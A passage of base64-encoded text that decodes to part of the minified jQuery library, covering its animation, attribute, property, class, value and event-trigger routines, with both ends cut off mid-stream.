0aDtyPGk7cisrKW49ZVtyXSxmdC50d2VlbmVyc1tuXT1mdC50d2VlbmVyc1tuXXx8W10sZnQudHdlZW5lcnNbbl0udW5zaGlmdCh0KX0scHJlZmlsdGVyczpbZnVuY3Rpb24oZSx0LG4pe3ZhciByLGksbyxhLHMsdSxsLGMsZj0id2lkdGgiaW4gdHx8ImhlaWdodCJpbiB0LHA9dGhpcyxkPXt9LGg9ZS5zdHlsZSxnPWUubm9kZVR5cGUmJmFlKGUpLHk9WS5nZXQoZSwiZnhzaG93Iik7Zm9yKHIgaW4gbi5xdWV1ZXx8KG51bGw9PShhPVMuX3F1ZXVlSG9va3MoZSwiZngiKSkudW5xdWV1ZWQmJihhLnVucXVldWVkPTAscz1hLmVtcHR5LmZpcmUsYS5lbXB0eS5maXJlPWZ1bmN0aW9uKCl7YS51bnF1ZXVlZHx8cygpfSksYS51bnF1ZXVlZCsrLHAuYWx3YXlzKGZ1bmN0aW9uKCl7cC5hbHdheXMoZnVuY3Rpb24oKXthLnVucXVldWVkLS0sUy5xdWV1ZShlLCJmeCIpLmxlbmd0aHx8YS5lbXB0eS5maXJlKCl9KX0pKSx0KWlmKGk9dFtyXSxvdC50ZXN0KGkpKXtpZihkZWxldGUgdFtyXSxvPW98fCJ0b2dnbGUiPT09aSxpPT09KGc/ImhpZGUiOiJzaG93Iikpe2lmKCJzaG93IiE9PWl8fCF5fHx2b2lkIDA9PT15W3JdKWNvbnRpbnVlO2c9ITB9ZFtyXT15JiZ5W3JdfHxTLnN0eWxlKGUscil9aWYoKHU9IVMuaXNFbXB0eU9iamVjdCh0KSl8fCFTLmlzRW1wdHlPYmplY3QoZCkpZm9yKHIgaW4gZiYmMT09PWUubm9kZVR5cGUmJihuLm92ZXJmbG93PVtoLm92ZXJmbG93LGgub3ZlcmZsb3dYLGgub3ZlcmZsb3dZXSxudWxsPT0obD15JiZ5LmRpc3BsYXkpJiYobD1ZLmdldChlLCJkaXNwbGF5IikpLCJub25lIj09PShjPVMuY3NzKGUsImRpc3BsYXkiKSkmJihsP2M9bDoobGUoW2VdLCEwKSxsPWUuc3R5bGUuZGlzcGxheXx8bCxjPVMuY3NzKGUsImRpc3BsYXkiKSxsZShbZV0pKSksKCJpbmxpbmUiPT09Y3x8ImlubGluZS1ibG9jayI9PT1jJiZudWxsIT1sKSYmIm5vbmUiPT09Uy5jc3MoZSwiZmxvYXQiKSYmKHV8fChwLmRvbmUoZnVuY3Rpb24oKXtoLmRpc3BsYXk9bH0pLG51bGw9PWwmJihjPWguZGlzcGxheSxsPSJub25lIj09PWM/IiI6YykpLGguZGlzcGxheT0iaW5saW5lLWJsb2NrIikpLG4ub3ZlcmZsb3cmJihoLm92ZXJmbG93PSJoaWRkZW4iLHAuYWx3YXlzKGZ1bmN0aW9uKCl7aC5vdmVyZmxvdz1uLm92ZXJmbG93WzBdLGgub3ZlcmZsb3dYPW4ub3ZlcmZsb3dbMV0saC5vdmVyZmxvd1k9bi5vdmVyZmxvd1syXX0pKSx1PSExLGQpdXx8KHk/ImhpZGRlbiJpbiB5JiYoZz15LmhpZGRlbik6eT1ZLmFjY2VzcyhlLCJmeHNob3ciLHtkaXNwbGF5Omx9KSxvJiYoeS5oaWRkZW49IWcpLGcmJmxlKFtlXSwhMCkscC5kb25lKGZ1bmN0aW9uKCl7Zm9yKHIgaW4gZ3x8bGUoW2VdKSxZLnJlbW92ZShlLCJmeHNob3ciKSxkKVMuc3R5bGUoZSxyLGRbcl0pfSkpLHU9Y3QoZz95W3JdOjAscixwKSxyIGluIHl8fCh5W3JdPXUuc3RhcnQsZyYmKHUuZW5kPXUuc3RhcnQsdS5zdGFydD0wKSl9XSxwcmVmaWx0ZXI6ZnVuY3Rpb24oZSx0KXt0P2Z0LnByZWZpbHRlcnMudW5zaGlmdChlKTpmdC5wcmVmaWx0ZXJzLnB1c2goZSl9fSksUy5zcGVlZD1mdW5jdGlvbihlLHQsbil7dmFyIHI9ZSYmIm9iamVjdCI9PXR5cGVvZiBlP1MuZXh0ZW5kKHt9LGUpOntjb21wbGV0ZTpufHwhbiYmdHx8bShlKSYmZSxkdXJhdGlvbjplLGVhc2luZzpuJiZ0fHx0JiYhbSh0KSYmdH07cmV0dXJuIFMuZngub2ZmP3IuZHVyYXRpb249MDoibnVtYmVyIiE9dHlwZW9mIHIuZHVyYXRpb24mJihyLmR1cmF0aW9uIGluIFMuZnguc3BlZWRzP3IuZHVyYXRpb249Uy5meC5zcGVlZHNbci5kdXJhdGlvbl06ci5kdXJhdGlvbj1TLmZ4LnNwZWVkcy5fZGVmYXVsdCksbnVsbCE9ci5xdWV1ZSYmITAhPT1yLnF1ZXVlfHwoci5xdWV1ZT0iZngiKSxyLm9sZD1yLmNvbXBsZXRlLHIuY29tcGxldGU9ZnVuY3Rpb24oKXttKHIub2xkKSYmci5vbGQuY2FsbCh0aGlzKSxyLnF1ZXVlJiZTLmRlcXVldWUodGhpcyxyLnF1ZXVlKX0scn0sUy5mbi5leHRlbmQoe2ZhZGVUbzpmdW5jdGlvbihlLHQsbixyKXtyZXR1cm4gdGhpcy5maWx0ZXIoYWUpLmNzcygib3BhY2l0eSIsMCkuc2hvdygpLmVuZCgpLmFuaW1hdGUoe29wYWNpdHk6dH0sZSxuLHIpfSxhbmltYXRlOmZ1bmN0aW9uKHQsZSxuLHIpe3ZhciBpPVMuaXNFbXB0eU9iamVjdCh0KSxvPVMuc3BlZWQoZSxuLHIpLGE9ZnVuY3Rpb24oKXt2YXIgZT1mdCh0aGlzLFMuZXh0ZW5kKHt9LHQpLG8pOyhpfHxZLmdldCh0aGlzLCJmaW5pc2giKSkmJmUuc3RvcCghMCl9O3JldHVybiBhLmZpbmlzaD1hLGl8fCExPT09by5xdWV1ZT90aGlzLmVhY2goYSk6dGhpcy5xdWV1ZShvLnF1ZXVlLGEpfSxzdG9wOmZ1bmN0aW9uKGksZSxvKXt2YXIgYT1mdW5jdGlvbihlKXt2YXIgdD1lLnN0b3A7ZGVsZXRlIGUuc3RvcCx0KG8pfTtyZXR1cm4ic3RyaW5nIiE9dHlwZW9mIGkmJihvPWUsZT1pLGk9dm9pZCAwKSxlJiZ0aGlzLnF1ZXVlKGl8fCJmeCIsW10pLHRoaXMuZWFjaChmdW5jdGlvbigpe3ZhciBlPSEwLHQ9bnVsbCE9aSYmaSsicXVldWVIb29rcyIsbj1TLnRpbWVycyxyPVkuZ2V0KHRoaXMpO2lmKHQpclt0XSYmclt0XS5zdG9wJiZhKHJbdF0pO2Vsc2UgZm9yKHQgaW4gcilyW3RdJiZyW3RdLnN0b3AmJmF0LnRlc3QodCkmJmEoclt0XSk7Zm9yKHQ9bi5sZW5ndGg7dC0tOyluW3RdLmVsZW0hPT10aGlzfHxudWxsIT1pJiZuW3RdLnF1ZXVlIT09aXx8KG5bdF0uYW5pbS5zdG9wKG8pLGU9ITEsbi5zcGxpY2UodCwxKSk7IWUmJm98fFMuZGVxdWV1ZSh0aGlzLGkpfSl9LGZpbmlzaDpmdW5jdGlvbihhKXtyZXR1cm4hMSE9PWEmJihhPWF8fCJmeCIpLHRoaXMuZWFjaChmdW5jdGlvbigpe3ZhciBlLHQ9WS5nZXQodGhpcyksbj10W2ErInF1ZXVlIl0scj10W2ErInF1ZXVlSG9va3MiXSxpPVMudGltZXJzLG89bj9uLmxlbmd0aDowO2Zvcih0LmZpbmlzaD0hMCxTLnF1ZXVlKHRoaXMsYSxbXSksciYmci5zdG9wJiZyLnN0b3AuY2FsbCh0aGlzLCEwKSxlPWkubGVuZ3RoO2UtLTspaVtlXS5lbGVtPT09dGhpcyYmaVtlXS5xdWV1ZT09PWEmJihpW2VdLmFuaW0uc3RvcCghMCksaS5zcGxpY2UoZSwxKSk7Zm9yKGU9MDtlPG87ZSsrKW5bZV0mJm5bZV0uZmluaXNoJiZuW2VdLmZpbmlzaC5jYWxsKHRoaXMpO2RlbGV0ZSB0LmZpbmlzaH0pfX0pLFMuZWFjaChbInRvZ2dsZSIsInNob3ciLCJoaWRlIl0sZnVuY3Rpb24oZSxyKXt2YXIgaT1TLmZuW3JdO1MuZm5bcl09ZnVuY3Rpb24oZSx0LG4pe3JldHVybiBudWxsPT1lfHwiYm9vbGVhbiI9PXR5cGVvZiBlP2kuYXBwbHkodGhpcyxhcmd1bWVudHMpOnRoaXMuYW5pbWF0ZShsdChyLCEwKSxlLHQsbil9fSksUy5lYWNoKHtzbGlkZURvd246bHQoInNob3ciKSxzbGlkZVVwOmx0KCJoaWRlIiksc2xpZGVUb2dnbGU6bHQoInRvZ2dsZSIpLGZhZGVJbjp7b3BhY2l0eToic2hvdyJ9LGZhZGVPdXQ6e29wYWNpdHk6ImhpZGUifSxmYWRlVG9nZ2xlOntvcGFjaXR5OiJ0b2dnbGUifX0sZnVuY3Rpb24oZSxyKXtTLmZuW2VdPWZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gdGhpcy5hbmltYXRlKHIsZSx0LG4pfX0pLFMudGltZXJzPVtdLFMuZngudGljaz1mdW5jdGlvbigpe3ZhciBlLHQ9MCxuPVMudGltZXJzO2Zvcih0dD1EYXRlLm5vdygpO3Q8bi5sZW5ndGg7dCsrKShlPW5bdF0pKCl8fG5bdF0hPT1lfHxuLnNwbGljZSh0LS0sMSk7bi5sZW5ndGh8fFMuZnguc3RvcCgpLHR0PXZvaWQgMH0sUy5meC50aW1lcj1mdW5jdGlvbihlKXtTLnRpbWVycy5wdXNoKGUpLFMuZnguc3RhcnQoKX0sUy5meC5pbnRlcnZhbD0xMyxTLmZ4LnN0YXJ0PWZ1bmN0aW9uKCl7bnR8fChudD0hMCxzdCgpKX0sUy5meC5zdG9wPWZ1bmN0aW9uKCl7bnQ9bnVsbH0sUy5meC5zcGVlZHM9e3Nsb3c6NjAwLGZhc3Q6MjAwLF9kZWZhdWx0OjQwMH0sUy5mbi5kZWxheT1mdW5jdGlvbihyLGUpe3JldHVybiByPVMuZngmJlMuZnguc3BlZWRzW3JdfHxyLGU9ZXx8ImZ4Iix0aGlzLnF1ZXVlKGUsZnVuY3Rpb24oZSx0KXt2YXIgbj1DLnNldFRpbWVvdXQoZSxyKTt0LnN0b3A9ZnVuY3Rpb24oKXtDLmNsZWFyVGltZW91dChuKX19KX0scnQ9RS5jcmVhdGVFbGVtZW50KCJpbnB1dCIpLGl0PUUuY3JlYXRlRWxlbWVudCgic2VsZWN0IikuYXBwZW5kQ2hpbGQoRS5jcmVhdGVFbGVtZW50KCJvcHRpb24iKSkscnQudHlwZT0iY2hlY2tib3giLHYuY2hlY2tPbj0iIiE9PXJ0LnZhbHVlLHYub3B0U2VsZWN0ZWQ9aXQuc2VsZWN0ZWQsKHJ0PUUuY3JlYXRlRWxlbWVudCgiaW5wdXQiKSkudmFsdWU9InQiLHJ0LnR5cGU9InJhZGlvIix2LnJhZGlvVmFsdWU9InQiPT09cnQudmFsdWU7dmFyIHB0LGR0PVMuZXhwci5hdHRySGFuZGxlO1MuZm4uZXh0ZW5kKHthdHRyOmZ1bmN0aW9uKGUsdCl7cmV0dXJuIEIodGhpcyxTLmF0dHIsZSx0LDE8YXJndW1lbnRzLmxlbmd0aCl9LHJlbW92ZUF0dHI6ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpe1MucmVtb3ZlQXR0cih0aGlzLGUpfSl9fSksUy5leHRlbmQoe2F0dHI6ZnVuY3Rpb24oZSx0LG4pe3ZhciByLGksbz1lLm5vZGVUeXBlO2lmKDMhPT1vJiY4IT09byYmMiE9PW8pcmV0dXJuInVuZGVmaW5lZCI9PXR5cGVvZiBlLmdldEF0dHJpYnV0ZT9TLnByb3AoZSx0LG4pOigxPT09byYmUy5pc1hNTERvYyhlKXx8KGk9Uy5hdHRySG9va3NbdC50b0xvd2VyQ2FzZSgpXXx8KFMuZXhwci5tYXRjaC5ib29sLnRlc3QodCk/cHQ6dm9pZCAwKSksdm9pZCAwIT09bj9udWxsPT09bj92b2lkIFMucmVtb3ZlQXR0cihlLHQpOmkmJiJzZXQiaW4gaSYmdm9pZCAwIT09KHI9aS5zZXQoZSxuLHQpKT9yOihlLnNldEF0dHJpYnV0ZSh0LG4rIiIpLG4pOmkmJiJnZXQiaW4gaSYmbnVsbCE9PShyPWkuZ2V0KGUsdCkpP3I6bnVsbD09KHI9Uy5maW5kLmF0dHIoZSx0KSk/dm9pZCAwOnIpfSxhdHRySG9va3M6e3R5cGU6e3NldDpmdW5jdGlvbihlLHQpe2lmKCF2LnJhZGlvVmFsdWUmJiJyYWRpbyI9PT10JiZBKGUsImlucHV0Iikpe3ZhciBuPWUudmFsdWU7cmV0dXJuIGUuc2V0QXR0cmlidXRlKCJ0eXBlIix0KSxuJiYoZS52YWx1ZT1uKSx0fX19fSxyZW1vdmVBdHRyOmZ1bmN0aW9uKGUsdCl7dmFyIG4scj0wLGk9dCYmdC5tYXRjaChQKTtpZihpJiYxPT09ZS5ub2RlVHlwZSl3aGlsZShuPWlbcisrXSllLnJlbW92ZUF0dHJpYnV0ZShuKX19KSxwdD17c2V0OmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4hMT09PXQ/Uy5yZW1vdmVBdHRyKGUsbik6ZS5zZXRBdHRyaWJ1dGUobixuKSxufX0sUy5lYWNoKFMuZXhwci5tYXRjaC5ib29sLnNvdXJjZS5tYXRjaCgvXHcrL2cpLGZ1bmN0aW9uKGUsdCl7dmFyIGE9ZHRbdF18fFMuZmluZC5hdHRyO2R0W3RdPWZ1bmN0aW9uKGUsdCxuKXt2YXIgcixpLG89dC50b0xvd2VyQ2FzZSgpO3JldHVybiBufHwoaT1kdFtvXSxkdFtvXT1yLHI9bnVsbCE9YShlLHQsbik/bzpudWxsLGR0W29dPWkpLHJ9fSk7dmFyIGh0PS9eKD86aW5wdXR8c2VsZWN0fHRleHRhcmVhfGJ1dHRvbikkL2ksZ3Q9L14oPzphfGFyZWEpJC9pO2Z1bmN0aW9uIHl0KGUpe3JldHVybihlLm1hdGNoKFApfHxbXSkuam9pbigiICIpfWZ1bmN0aW9uIHZ0KGUpe3JldHVybiBlLmdldEF0dHJpYnV0ZSYmZS5nZXRBdHRyaWJ1dGUoImNsYXNzIil8fCIifWZ1bmN0aW9uIG10KGUpe3JldHVybiBBcnJheS5pc0FycmF5KGUpP2U6InN0cmluZyI9PXR5cGVvZiBlJiZlLm1hdGNoKFApfHxbXX1TLmZuLmV4dGVuZCh7cHJvcDpmdW5jdGlvbihlLHQpe3JldHVybiBCKHRoaXMsUy5wcm9wLGUsdCwxPGFyZ3VtZW50cy5sZW5ndGgpfSxyZW1vdmVQcm9wOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXtkZWxldGUgdGhpc1tTLnByb3BGaXhbZV18fGVdfSl9fSksUy5leHRlbmQoe3Byb3A6ZnVuY3Rpb24oZSx0LG4pe3ZhciByLGksbz1lLm5vZGVUeXBlO2lmKDMhPT1vJiY4IT09byYmMiE9PW8pcmV0dXJuIDE9PT1vJiZTLmlzWE1MRG9jKGUpfHwodD1TLnByb3BGaXhbdF18fHQsaT1TLnByb3BIb29rc1t0XSksdm9pZCAwIT09bj9pJiYic2V0ImluIGkmJnZvaWQgMCE9PShyPWkuc2V0KGUsbix0KSk/cjplW3RdPW46aSYmImdldCJpbiBpJiZudWxsIT09KHI9aS5nZXQoZSx0KSk/cjplW3RdfSxwcm9wSG9va3M6e3RhYkluZGV4OntnZXQ6ZnVuY3Rpb24oZSl7dmFyIHQ9Uy5maW5kLmF0dHIoZSwidGFiaW5kZXgiKTtyZXR1cm4gdD9wYXJzZUludCh0LDEwKTpodC50ZXN0KGUubm9kZU5hbWUpfHxndC50ZXN0KGUubm9kZU5hbWUpJiZlLmhyZWY/MDotMX19fSxwcm9wRml4OnsiZm9yIjoiaHRtbEZvciIsImNsYXNzIjoiY2xhc3NOYW1lIn19KSx2Lm9wdFNlbGVjdGVkfHwoUy5wcm9wSG9va3Muc2VsZWN0ZWQ9e2dldDpmdW5jdGlvbihlKXt2YXIgdD1lLnBhcmVudE5vZGU7cmV0dXJuIHQmJnQucGFyZW50Tm9kZSYmdC5wYXJlbnROb2RlLnNlbGVjdGVkSW5kZXgsbnVsbH0sc2V0OmZ1bmN0aW9uKGUpe3ZhciB0PWUucGFyZW50Tm9kZTt0JiYodC5zZWxlY3RlZEluZGV4LHQucGFyZW50Tm9kZSYmdC5wYXJlbnROb2RlLnNlbGVjdGVkSW5kZXgpfX0pLFMuZWFjaChbInRhYkluZGV4IiwicmVhZE9ubHkiLCJtYXhMZW5ndGgiLCJjZWxsU3BhY2luZyIsImNlbGxQYWRkaW5nIiwicm93U3BhbiIsImNvbFNwYW4iLCJ1c2VNYXAiLCJmcmFtZUJvcmRlciIsImNvbnRlbnRFZGl0YWJsZSJdLGZ1bmN0aW9uKCl7Uy5wcm9wRml4W3RoaXMudG9Mb3dlckNhc2UoKV09dGhpc30pLFMuZm4uZXh0ZW5kKHthZGRDbGFzczpmdW5jdGlvbih0KXt2YXIgZSxuLHIsaSxvLGE7cmV0dXJuIG0odCk/dGhpcy5lYWNoKGZ1bmN0aW9uKGUpe1ModGhpcykuYWRkQ2xhc3ModC5jYWxsKHRoaXMsZSx2dCh0aGlzKSkpfSk6KGU9bXQodCkpLmxlbmd0aD90aGlzLmVhY2goZnVuY3Rpb24oKXtpZihyPXZ0KHRoaXMpLG49MT09PXRoaXMubm9kZVR5cGUmJiIgIit5dChyKSsiICIpe2ZvcihvPTA7bzxlLmxlbmd0aDtvKyspaT1lW29dLG4uaW5kZXhPZigiICIraSsiICIpPDAmJihuKz1pKyIgIik7YT15dChuKSxyIT09YSYmdGhpcy5zZXRBdHRyaWJ1dGUoImNsYXNzIixhKX19KTp0aGlzfSxyZW1vdmVDbGFzczpmdW5jdGlvbih0KXt2YXIgZSxuLHIsaSxvLGE7cmV0dXJuIG0odCk/dGhpcy5lYWNoKGZ1bmN0aW9uKGUpe1ModGhpcykucmVtb3ZlQ2xhc3ModC5jYWxsKHRoaXMsZSx2dCh0aGlzKSkpfSk6YXJndW1lbnRzLmxlbmd0aD8oZT1tdCh0KSkubGVuZ3RoP3RoaXMuZWFjaChmdW5jdGlvbigpe2lmKHI9dnQodGhpcyksbj0xPT09dGhpcy5ub2RlVHlwZSYmIiAiK3l0KHIpKyIgIil7Zm9yKG89MDtvPGUubGVuZ3RoO28rKyl7aT1lW29dO3doaWxlKC0xPG4uaW5kZXhPZigiICIraSsiICIpKW49bi5yZXBsYWNlKCIgIitpKyIgIiwiICIpfWE9eXQobiksciE9PWEmJnRoaXMuc2V0QXR0cmlidXRlKCJjbGFzcyIsYSl9fSk6dGhpczp0aGlzLmF0dHIoImNsYXNzIiwiIil9LHRvZ2dsZUNsYXNzOmZ1bmN0aW9uKHQsbil7dmFyIGUscixpLG8sYT10eXBlb2YgdCxzPSJzdHJpbmciPT09YXx8QXJyYXkuaXNBcnJheSh0KTtyZXR1cm4gbSh0KT90aGlzLmVhY2goZnVuY3Rpb24oZSl7Uyh0aGlzKS50b2dnbGVDbGFzcyh0LmNhbGwodGhpcyxlLHZ0KHRoaXMpLG4pLG4pfSk6ImJvb2xlYW4iPT10eXBlb2YgbiYmcz9uP3RoaXMuYWRkQ2xhc3ModCk6dGhpcy5yZW1vdmVDbGFzcyh0KTooZT1tdCh0KSx0aGlzLmVhY2goZnVuY3Rpb24oKXtpZihzKWZvcihvPVModGhpcyksaT0wO2k8ZS5sZW5ndGg7aSsrKXI9ZVtpXSxvLmhhc0NsYXNzKHIpP28ucmVtb3ZlQ2xhc3Mocik6by5hZGRDbGFzcyhyKTtlbHNlIHZvaWQgMCE9PXQmJiJib29sZWFuIiE9PWF8fCgocj12dCh0aGlzKSkmJlkuc2V0KHRoaXMsIl9fY2xhc3NOYW1lX18iLHIpLHRoaXMuc2V0QXR0cmlidXRlJiZ0aGlzLnNldEF0dHJpYnV0ZSgiY2xhc3MiLHJ8fCExPT09dD8iIjpZLmdldCh0aGlzLCJfX2NsYXNzTmFtZV9fIil8fCIiKSl9KSl9LGhhc0NsYXNzOmZ1bmN0aW9uKGUpe3ZhciB0LG4scj0wO3Q9IiAiK2UrIiAiO3doaWxlKG49dGhpc1tyKytdKWlmKDE9PT1uLm5vZGVUeXBlJiYtMTwoIiAiK3l0KHZ0KG4pKSsiICIpLmluZGV4T2YodCkpcmV0dXJuITA7cmV0dXJuITF9fSk7dmFyIHh0PS9cci9nO1MuZm4uZXh0ZW5kKHt2YWw6ZnVuY3Rpb24obil7dmFyIHIsZSxpLHQ9dGhpc1swXTtyZXR1cm4gYXJndW1lbnRzLmxlbmd0aD8oaT1tKG4pLHRoaXMuZWFjaChmdW5jdGlvbihlKXt2YXIgdDsxPT09dGhpcy5ub2RlVHlwZSYmKG51bGw9PSh0PWk/bi5jYWxsKHRoaXMsZSxTKHRoaXMpLnZhbCgpKTpuKT90PSIiOiJudW1iZXIiPT10eXBlb2YgdD90Kz0iIjpBcnJheS5pc0FycmF5KHQpJiYodD1TLm1hcCh0LGZ1bmN0aW9uKGUpe3JldHVybiBudWxsPT1lPyIiOmUrIiJ9KSksKHI9Uy52YWxIb29rc1t0aGlzLnR5cGVdfHxTLnZhbEhvb2tzW3RoaXMubm9kZU5hbWUudG9Mb3dlckNhc2UoKV0pJiYic2V0ImluIHImJnZvaWQgMCE9PXIuc2V0KHRoaXMsdCwidmFsdWUiKXx8KHRoaXMudmFsdWU9dCkpfSkpOnQ/KHI9Uy52YWxIb29rc1t0LnR5cGVdfHxTLnZhbEhvb2tzW3Qubm9kZU5hbWUudG9Mb3dlckNhc2UoKV0pJiYiZ2V0ImluIHImJnZvaWQgMCE9PShlPXIuZ2V0KHQsInZhbHVlIikpP2U6InN0cmluZyI9PXR5cGVvZihlPXQudmFsdWUpP2UucmVwbGFjZSh4dCwiIik6bnVsbD09ZT8iIjplOnZvaWQgMH19KSxTLmV4dGVuZCh7dmFsSG9va3M6e29wdGlvbjp7Z2V0OmZ1bmN0aW9uKGUpe3ZhciB0PVMuZmluZC5hdHRyKGUsInZhbHVlIik7cmV0dXJuIG51bGwhPXQ/dDp5dChTLnRleHQoZSkpfX0sc2VsZWN0OntnZXQ6ZnVuY3Rpb24oZSl7dmFyIHQsbixyLGk9ZS5vcHRpb25zLG89ZS5zZWxlY3RlZEluZGV4LGE9InNlbGVjdC1vbmUiPT09ZS50eXBlLHM9YT9udWxsOltdLHU9YT9vKzE6aS5sZW5ndGg7Zm9yKHI9bzwwP3U6YT9vOjA7cjx1O3IrKylpZigoKG49aVtyXSkuc2VsZWN0ZWR8fHI9PT1vKSYmIW4uZGlzYWJsZWQmJighbi5wYXJlbnROb2RlLmRpc2FibGVkfHwhQShuLnBhcmVudE5vZGUsIm9wdGdyb3VwIikpKXtpZih0PVMobikudmFsKCksYSlyZXR1cm4gdDtzLnB1c2godCl9cmV0dXJuIHN9LHNldDpmdW5jdGlvbihlLHQpe3ZhciBuLHIsaT1lLm9wdGlvbnMsbz1TLm1ha2VBcnJheSh0KSxhPWkubGVuZ3RoO3doaWxlKGEtLSkoKHI9aVthXSkuc2VsZWN0ZWQ9LTE8Uy5pbkFycmF5KFMudmFsSG9va3Mub3B0aW9uLmdldChyKSxvKSkmJihuPSEwKTtyZXR1cm4gbnx8KGUuc2VsZWN0ZWRJbmRleD0tMSksb319fX0pLFMuZWFjaChbInJhZGlvIiwiY2hlY2tib3giXSxmdW5jdGlvbigpe1MudmFsSG9va3NbdGhpc109e3NldDpmdW5jdGlvbihlLHQpe2lmKEFycmF5LmlzQXJyYXkodCkpcmV0dXJuIGUuY2hlY2tlZD0tMTxTLmluQXJyYXkoUyhlKS52YWwoKSx0KX19LHYuY2hlY2tPbnx8KFMudmFsSG9va3NbdGhpc10uZ2V0PWZ1bmN0aW9uKGUpe3JldHVybiBudWxsPT09ZS5nZXRBdHRyaWJ1dGUoInZhbHVlIik/Im9uIjplLnZhbHVlfSl9KSx2LmZvY3VzaW49Im9uZm9jdXNpbiJpbiBDO3ZhciBidD0vXig/OmZvY3VzaW5mb2N1c3xmb2N1c291dGJsdXIpJC8sd3Q9ZnVuY3Rpb24oZSl7ZS5zdG9wUHJvcGFnYXRpb24oKX07Uy5leHRlbmQoUy5ldmVudCx7dHJpZ2dlcjpmdW5jdGlvbihlLHQsbixyKXt2YXIgaSxvLGEscyx1LGwsYyxmLHA9W258fEVdLGQ9eS5jYWxsKGUsInR5cGUiKT9lLnR5cGU6ZSxoPXkuY2FsbChlLCJuYW1lc3BhY2UiKT9lLm5hbWVzcGFjZS5zcGxpdCgiLiIpOltdO2lmKG89Zj1hPW49bnx8RSwzIT09bi5ub2RlVHlwZSYmOCE9PW4ubm9kZVR5cGUmJiFidC50ZXN0KGQrUy5ldmVudC50cmlnZ2VyZWQpJiYoLTE8ZC5pbmRleE9mKCIuIikmJihkPShoPWQuc3BsaXQoIi4iKSkuc2hpZnQoKSxoLnNvcnQoKSksdT1kLmluZGV4T2YoIjoiKTwwJiYib24iK2QsKGU9ZVtTLmV4cGFuZG9dP2U6bmV3IFMuRXZlbnQoZCwib2JqZWN0Ij09dHlwZW9mIGUmJmUpKS5pc1RyaWdnZXI9cj8yOjMsZS5uYW1lc3BhY2U9aC5qb2luKCIuIiksZS5ybmFtZXNwYWNlPWUubmFtZXNwYWNlP25ldyBSZWdFeHAoIihefFxcLikiK2guam9pbigiXFwuKD86LipcXC58KSIpKyIoXFwufCQpIik6bnVsbCxlLnJlc3VsdD12b2lkIDAsZS50YXJnZXR8fChlLnRhcmdldD1uKSx0PW51bGw9PXQ/W2VdOlMubWFrZUFycmF5KHQsW2VdKSxjPVMuZXZlbnQuc3BlY2lhbFtkXXx8e30scnx8IWMudHJpZ2dlcnx8ITEhPT1jLnRyaWdnZXIuYXBwbHkobix0KSkpe2lmKCFyJiYhYy5ub0J1YmJsZSYmIXgobikpe2ZvcihzPWMuZGVsZWdhdGVUeXBlfHxkLGJ0LnRlc3QocytkKXx8KG89by5wYXJlbnROb2RlKTtvO289by5wYXJlbnROb2RlKXAucHVzaChvKSxhPW87YT09PShuLm93bmVyRG9jdW1lbnR8fEUpJiZwLnB1c2goYS5kZWZhdWx0Vmlld3x8YS5wYXJlbnRXaW5kb3d8fEMpfWk9MDt3aGlsZSgobz1wW2krK10pJiYhZS5pc1Byb3BhZ2F0aW9uU3RvcHBlZCgpKWY9byxlLnR5cGU9MTxpP3M6Yy5iaW5kVHlwZXx8ZCwobD0oWS5nZXQobywiZXZlbnRzIil8fE9iamVjdC5jcmVhdGUobnVsbCkpW2UudHlwZV0mJlkuZ2V0KG8sImhhbmRsZSIpKSYmbC5hcHBseShvLHQpLChsPXUmJm9bdV0pJiZsLmFwcGx5JiZWKG8pJiYoZS5yZXN1bHQ9bC5hcHBseShvLHQpLCExPT09ZS5yZXN1bHQmJmUucHJldmVudERlZmF1bHQoKSk7cmV0dXJuIGUudHlwZT1kLHJ8fGUuaXNEZWZhdWx0UHJldmVudGVkKCl8fGMuX2RlZmF1bHQmJiExIT09Yy5fZGVmYXVsdC5hcHBseShwLnBvcCgpLHQpfHwhVihuKXx8dSYmbShuW2RdKSYmIXgobikmJigoYT1uW3VdKSYmKG5bdV09bnVsbCksUy5ldmVudC50cmlnZ2VyZWQ9ZCxlLmlzUHJvcGFnYXRpb25TdG9wcGVkKCkmJmYuYWRkRXZlbnRMaXN0ZW5lcihkLHd0KSxuW2RdKCksZS5pc1Byb3BhZ2F0aW9uU3RvcHBlZCgpJiZmLnJlbW92ZUV2ZW50TGlzdGVuZXIoZCx3dCksUy5ldmVudC50cmlnZ2VyZWQ9dm9pZCAwLGEmJihuW3VdPWEpKSxlLnJlc3VsdH19LHNpbXVsYXRlOmZ1bmN0aW9uKGUsdCxuKXt2YXIgcj1TLmV4dGVuZChuZXcgUy5FdmVudCxuLHt0eXBlOmUsaXNTaW11bGF0ZWQ6ITB9KTtTLmV2ZW50LnRyaWdnZXIocixudWxsLHQpfX0pLFMuZm4uZXh0ZW5kKHt0cmlnZ2VyOmZ1bmN0aW9uKGUsdCl7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpe1MuZXZlbnQudHJpZ2dlcihlLHQsdGhpcyl9KX0sdHJpZ2dlckhhbmRsZXI6ZnVuY3Rpb24oZSx0KXt2YXIgbj10aGlzWzBdO2lmKG4pcmV0dXJuIFMuZXZlbnQudHJpZ2dlcihlLHQsbiwhMCl9fSksdi5mb2N1c2lufHxTLmVhY2goe2ZvY3VzOiJmb2N1c2luIixibHVyOiJmb2N1c291dCJ9LGZ1bmN0aW9uKG4scil7dmFyIGk9ZnVuY3Rpb24oZSl7Uy5ldmVudC5zaW11bGF0ZShyLGUudGFyZ2V0LFMuZXZlbnQuZml4KGUpKX07Uy5ldmVudC5zcGVjaWFsW3JdPXtzZXR1cDpmdW5jdGlvbigpe3ZhciBlPXRoaXMub3duZXJEb2N1bWVudHx8dGhpcy5kb2N1bWVudHx8dGhpcyx0PVkuYWNjZXNzKGUscik7dHx8ZS5hZGRFdmVudExpc3RlbmVyKG4saSwhMCksWS5hY2Nlc3MoZSxyLCh0fHwwKSsxKX0sdGVhcmRvd246ZnVuY3Rpb24oKXt2YXIgZT10aGlzLm93bmVyRG9jdW1lbnR8fHRoaXMuZG9jdW1lbnR8fHRoaXMsdD1ZLmFjY2VzcyhlLHIpLTE7dD9ZLmFjY2VzcyhlLHIsdCk6KGUucmVtb3ZlRXZlbnRMaXN0ZW5lcihuLGksITApLFkucmVtb3ZlKGUscikpfX19KTt2YXIgVHQ9Qy5sb2NhdGlvbixDdD17Z3VpZDpEYXRlLm5vdygpfSxFdD0vXD8vO1MucGFyc